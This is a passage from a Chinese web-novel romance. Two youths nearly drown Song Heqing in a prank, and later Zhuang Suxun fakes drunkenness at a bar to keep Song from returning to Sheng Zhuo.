他原本只是想让宋鹤清掉进冰冷的湖水里泡一泡,吃点苦头而已。 就在他准备脱衣服跳水救人时,庄苏寻的身影比他更快跳入水中。 两人奋力游到宋鹤清身边,手忙脚乱地架住已经失去力气逐渐下沉的人。 宋鹤清比他们高大,也比他们重,两个半大少年费了不少力气才连拖带拽地将人弄上岸边。 三个人都浑身湿透,头发凌乱地贴在额前,狼狈不堪。 宋鹤清双目紧闭,毫无生气地躺在草地上。 “他……他不会是……死了吧?!”庄苏寻的声音带着前所未有的惊慌和颤抖。 盛灼猛地跪在宋鹤清身边,双手交叠,用力按压他的胃部,试图将他喝进去的湖水按出来。 一下,两下,三下…… 宋鹤清依旧没有任何反应,软软地躺在那里,像一尊失去生命的琉璃娃娃。 庄苏寻在一旁急得直吼:“你怎么不早说他不会游泳?!” “我他妈怎么知道这个傻逼不会游泳!”盛灼又急又怒地吼了回去,。 “你早说他不会游泳,我根本就不会出这个馊主意!”庄苏寻也急了。 “现在怪我没早说?这损招是你想的,人也是你推的!出了事你得负全责!”盛灼红着眼睛反驳。 下一秒,他看到庄苏寻深吸一口气,猛地低头,跟宋鹤清来了个嘴对嘴。 那一瞬间盛灼懵了。 他第一次看到两人男人嘴对嘴! 大为震撼。 随后一种难以言喻的怒火直冲头顶! 他猛地一把推开庄苏寻:“你他妈的疯了?!” 庄苏寻被推得一个趔趄,手背抹了一把嘴,冲他吼道:“我在给他做人工呼吸!再不救就真的死了,你以为我想亲他啊?!” 两人激烈的争吵声中,夹杂着一种近乎绝望的恐慌。 忽然两人听见宋鹤清猛咳了几下,口中吐出水,然后呛了几下后,睁开了眼。 他们的争吵戛然而止。 盛灼别过头去,没看宋鹤清醒来时的眼神,心中五味杂陈。 而庄苏寻则立刻关切地凑上前问:“鹤清哥,你感觉怎么样?有没有哪里不舒服?”他顿了顿,“刚才……阿灼他不是故意的,你千万别生他的气,要怪就怪我不该带你来……” 宋鹤清剧烈地咳嗽着,长长的睫毛上还挂着水珠,他虚弱地撑起身体,目光缓缓扫过神情各异的两人。 他的眼神很深,很静,像一潭望不见底的深水,里面翻涌着太多复杂的情绪,却又最终归于一片沉寂的虚无。 他没有说一个字。 没有质问,没有哭诉,甚至没有流露出任何明显的愤怒或委屈。 他只是默默地站起身,没有再看他们一眼,一步一步,沉默地离开了这里。 宋鹤清离开后,盛灼和庄苏寻大吵了一架。 “什么叫‘阿灼他不是故意的’?!主意是你想的!人是你推下去的。凭什么最后全都变成我的错了?说得好像你一点责任都没有!” 庄苏寻也毫不示弱地挥开他的手,声音同样拔高:“是!主意是我想的,人是我推的。可如果不是你把他叫这里来,他会有机会被推下去吗?如果不是我给他做人工呼吸,他已经死了!盛灼你搞清楚到底是谁救了他,是我庄苏寻!” 两人在湖边吵得不可开交。 这是他们成为朋友以来第一次产生巨大的矛盾。【..top】 21、第21章 【第21章】: 次日清晨,宋鹤清在身体细微的酸胀感中醒来。 盛灼不在身侧。 他撑着床坐起身,薄被滑落,露出脖颈、锁骨、圆润肩头上暧昧的吻痕。 大腿内侧的酸软更是清晰地提醒着他昨夜的疯狂与缠绵。 宋鹤清脸颊微热,缓了缓才起身走向浴室。 浴室镜子里的他眉眼间带着疲惫,却也有种被过分疼爱后的滋润。 在看到颈侧明显的吻痕时,他叹了口气。盛灼在性/事上总是狂野又粗暴。像永远也满足不了的猛兽。 昨晚那场情/事算是结束了这次的冷暴力。 宋鹤情心情愉悦了很多。 - 今天录制的是导师指导环节。 排练室内,盛灼一身低调的黑色夹克服,坐在高脚凳上为两个学员指导高音部分。侧脸在专业灯下轮廓立体分明,严肃而迷人。 宋鹤清站在玻璃窗外看了一会儿。他迷恋这样的盛灼,甚至幻想有一天盛灼也会这样耐心地指导他唱歌。那该是多么幸福。 但这是不可能的,因为盛灼听到他五音不全的声音就会愤怒。 此时手机消息提示音响起来,拿出一看是庄苏寻的消息。 一个酒吧的地址。 宋鹤清微微蹙眉。 怎么谈合作要在酒吧里谈? 宋鹤清有些不解,但他一向把不准庄苏寻的脉,这人思维跳脱,行事出人意料,他从来就摸不透。 迟早都是要去应付庄苏寻的,拖着不去也不行。 宋鹤清还是准备去,现在就去。反正这会儿盛灼也在忙着录制,应该暂时不需要他。 他摸了摸脖子上的围巾,确认是否遮住脖颈上暧昧的吻痕。 走出大楼,宋鹤清在路边招了一辆出租车,坐在车里后,给盛灼发去消息:【阿灼,庄苏寻来京市了,我去跟他谈项目合作了。很快回来。】 “1988”酒吧。 酒吧的灯光昏暗而暧昧,将酒精的味道、香水的甜腻,与人与人之间隐秘的躁动揉成一团,制造出一种朦胧而禁忌的氛围。 舞池中央,男男女女随着震耳的音乐扭动身体,衣着奔放大胆,像一朵朵在暗夜里绽放的夜来香,艳得灼人眼。 庄苏寻坐在酒吧的吧台前,跟调酒师说:“哥们儿,我约了一个人来,等会他来了之后,我点的任何一杯酒都不要放酒精,放水,明白吗?” “明白明白。”调酒师笑着说。 此时庄苏寻将手里那杯含酒精的鸡尾酒直接倒在领口和胸膛上。 他今天穿着一件墨蓝色的西服,酒水倒上去后看不出有水痕。但身上很快就有了酒气。就好像已经喝了许多杯酒一样。 刚倒完就看到一道清俊脱俗的身影从群魔乱舞的人群里走来。 “来了来了。”庄苏寻小声示意调酒师。 随后开始装作喝醉的模样,坐在高脚凳上的身子摇摇晃晃,手里端着的酒杯也晃晃悠悠。 眼皮半瞌不瞌,看似迷离,实则精准地捕捉到了穿行而来的清俊身影。 宋鹤清穿着一件浅灰色的羽绒外套,脖子上围了一条白色羊绒围巾。整个人身形修长挺拔,面容俊美脱俗。小心翼翼避开跳舞的人群,朝着吧台方向寻找。 他那清冷的气质跟舞池里那些奔放的人比起来,像误入妖魔鬼怪世界的修行佛子。 他整个人就跟这酒吧里的氛围格格不入。 终于宋鹤清在吧台看到了庄苏寻的身影,快步走了过来。 见庄苏寻醉态的模样,蹙了蹙眉,不是谈合作么,喝成这样怎么谈,看来今天估计是谈不成了。 但还是关切问道:“庄总,你还好吗?” 庄苏寻缓缓抬头,眼眶竟然有些泛红,支着脑袋看宋鹤清,声音带着“醉意”的沙哑:“你来啦……” 宋鹤清闻到他身上浓重的酒气,心里有些排斥,这人估计喝得还不少:“庄总,要不我们换个地方谈吧。” 庄苏寻忽然捂住脸,肩膀微微耸动:“我失恋了,呜呜呜呜……我好难受,我好难过,我的心好痛,好痛……”他指着自己心脏的位置,一副很脆弱的样子。 宋鹤清愣怔了几秒,原来是失恋了,难怪喝成这样。 于是同情地抬手拍了拍他的背,温和地安慰道:“庄总,失恋是很正常的,我们应该往好处想,说不定是有更好的人在前面等你。” 可是仔细一想,庄苏寻怎么会失恋呢?他这样没心没肺的公子哥,也会为情所伤? 在他的印象里好像没听说过庄苏寻和谁谈过恋爱,而且庄苏寻这种游戏人间的性格,真的会对一个人动真心吗? 真的太不可思议了。 真好奇那个甩了庄苏寻的人到底是何方神圣。 忽然庄苏寻拉住他的手,用受伤的表情看着他:“你说得很有道理,但我还是伤心,你陪我喝几杯吧。” “……这……”宋鹤清觉得头疼。 庄苏寻本身就代表着麻烦。他来之前以为做好了心理准备,但还是被打得措手不及。 看着庄苏寻微红的眼眶,听着他带哭腔的声音。宋鹤清心底某处柔软的地方还是被触动了。 不被爱的滋味,他太清楚了。 感觉自己和庄苏寻从某种程度来说是同一类人。 宋鹤清便坐在他旁边,答应和他喝一杯。 庄苏寻示意调酒师给他们两人调一杯酒。 宋鹤清感觉酒吧里暖气开得很足,他又穿得很厚,已经有些热了,便把围巾取了下来,叠好放在膝上。 反正酒吧光线暗,庄苏寻又醉成这样,应该看不到自己脖颈上的吻痕。 很快调酒师把两杯金色的鸡尾酒分别推到两人面前。同时看了庄苏寻一眼,表示自己是按照吩咐做的。 宋鹤清没有察觉有什么异常,端起那杯鸡尾酒,皱着眉一仰而尽。 辛辣的液体灼烧着喉管,带来刺激的感觉。 他仰头喝酒的瞬间,那截白皙脖颈上的吻痕恰好在一束白色灯光下闪过,又恰好清晰地落入了庄苏寻“迷蒙”的醉眼中。 庄苏寻眸色骤然一沉,握着杯子微微发紧。 随后当着宋鹤清的面,把那杯没有酒精的鸡尾酒喝下了。仿若什么也没看到。 “呜呜呜呜……为什么我喜欢的人不喜欢我,呜呜呜……”庄苏寻继续装醉假哭。 宋鹤清叹了一口气。也不知道要陪这个醉鬼多久。 看着庄苏寻这狼狈的模样,不禁在像哪天要是盛灼和他分手,自己会不会也这样狼狈。 忽然庄苏寻问他:“你不是来出差的吧,你是陪盛灼来录综艺的吧?” 宋鹤清看向他。这人怎么猜到的? “额……算是吧。” 随后庄苏寻毫无预兆地扑过来,紧紧抱住了宋鹤清的腰,将头埋在他的肩窝,像一只寻求安慰的大型犬,哭得很伤心的样子:“鹤清哥,我失恋了,怎么办啊,我好难受,你快安慰安慰我啊。” 宋鹤清身体瞬间僵住。 陌生的、带着酒气的男性气息将他包裹,让他有些不适。他下意识地伸手推拒:“庄总,你别这样……先放开我。” 庄苏寻却抱得更紧。宋鹤清无法,只得安慰他:“走出一段关系的最好方法就是开始下一段关系。你长这么帅,家里又那么有钱,不会缺人喜欢的。” 庄苏寻像是抓住了什么重点,追问道:“你觉得我长得很帅吗?有多帅?跟盛灼比起来,谁更帅?” 宋鹤清觉得他的脑回路很清奇,硬着头皮解释道:“你们帅的风格不一样,我不好评价。” 庄苏寻的脑袋又埋到他颈间,还拱来拱去的,温热的呼吸喷洒在敏感的脖颈处,激起一阵战栗。 宋鹤清浑身紧绷,头皮发麻,推拒的手更加用力。 “庄、庄总,你起来……我们好生说。”宋鹤清觉得醉了的庄苏寻太难应付了。 庄苏寻还在小声地呜呜咽咽,似乎哭得很伤心。宋鹤清无奈望天。 手机铃声在此时响起。宋鹤清拿出口袋里的手机看来电人,是盛灼。再看时间,中午12点了。 估计是问他怎么还不回来。 宋鹤清像是抓到救命稻草,连忙接起,声音还带着慌乱:【喂,阿灼。】 【怎么还没谈完?】电话那头盛灼的声音听不出情绪,但背景很安静,显然是在休息间等他。 宋鹤清看了眼依旧扒在他身上“哭泣”的庄苏寻,无奈地说:【阿灼,抱歉,我这会儿走不开。】 电话被\干脆地挂断。 宋鹤清听着忙音,心头莫名一紧。不会又惹盛灼生气了吧。 庄苏寻在他看不见的角度,嘴角勾起一抹坏笑。 随后他手机收到消息,是盛灼发来的:【你谈什么项目非要今天谈?】 庄苏寻在宋鹤清后背单手拿出手机,另一只手还紧紧抱着宋鹤清的腰,在宋鹤清看不见的角度单手回复:【这不是要刁难一下他么。谁让他占着你的位置轻轻松松赚那么多钱。】 狗儿子:【放人。】 狗逼:【我从东城飞京市,大老远的来一趟,哪能这么快就结束呢。还没玩够呢。】 狗儿子:【你闲得蛋疼大老远专程来刁难他。放人!】 狗逼:【你干嘛护着他?不会是把他当亲哥了吧?你别忘了你爸当年娶了容曼仪后就忽视了你,你们父子关系不好,一半责任在他们母子身上。】 狗儿子:【我现在不想跟你说这些。放人。】 狗逼:【别看宋鹤清这人长得人畜无害的,其实心机很深的。他接近你,对你好,是为了盛家的财产,你可别被他迷惑了。作为你最好的兄弟,我是为你着想啊。】 狗儿子:【放人。】 庄苏寻盯着屏幕,眸色暗沉。隔了几秒才回复:【行行行。】 宋鹤清没听见庄苏寻哭了,以为是哄好了,便轻轻拍拍他的背,轻声问道:“苏寻,你现在好点了吗?” 那声音温柔干净,与庄苏寻此刻内心的算计截然不同。 令他心神荡漾的是,宋鹤清竟然叫他“苏寻”。 庄苏寻按捺住心里的涟漪,悄无声息地把手机揣回口袋,假装吸吸鼻子,说:“好多了。” 宋鹤清终于推开他,向后挪了挪,拉开一点距离,整理了一下被弄皱的衣服。看着眼前颓靡的庄苏寻,心里还是会有点怜爱。 虽然庄苏寻以前没少欺负他,但他也算是看着这个弟弟长大的,心眼不坏。 而且庄苏寻是盛灼的好朋友,更要好好关照一点 宋鹤清真诚地劝慰道:“苏寻,你值得更好的人。放弃一个不爱你的人,其实是放过了自己。” 这个道理其实也适用自己,但自己却一意孤行。 “那我就喜欢他怎么办?我不管他和谁在一起,我去抢过来行不行?”庄苏寻神情忽然带着几分偏执和侵略性。 宋鹤清还从没见过他嬉皮笑脸之外这样的神情,心跳漏了一拍,摇头道:“不要这样。强求来的感情,对谁都是伤害,你将来会后悔的。” “可是再不抢,真的就再也得不到了啊。”庄苏寻极其认真地看着他。目光如有实质,紧紧锁住宋鹤清,仿佛要透过他的眼睛,看穿他极力隐藏的秘密,包括那些属于盛灼的印记。 宋鹤清被他看得心慌意乱,强自镇定道:“那说明你们没有缘分,不适合在一起。” 庄苏寻转过身去,不再看宋鹤清:“你走。”然后点了点桌子,示意调酒师再来一杯。 调酒师看了看起身准备离去的宋鹤清,又看看浑身散发着低气压的庄苏寻,挠挠头,战战兢兢地问:“先生,这杯……含酒精吗?” 庄苏寻气不打一处来:“你还能不能做?” “做做做!”调酒师吓得一哆嗦,连忙低头操作。 宋鹤清最后看了一眼庄苏寻紧绷的背影,心中疑虑更深,却也无心再探究。 他拿起围巾重新围好,头也不回地快步离开了酒吧。 终于应付了难搞的庄苏寻,心里松了一口气。【..top】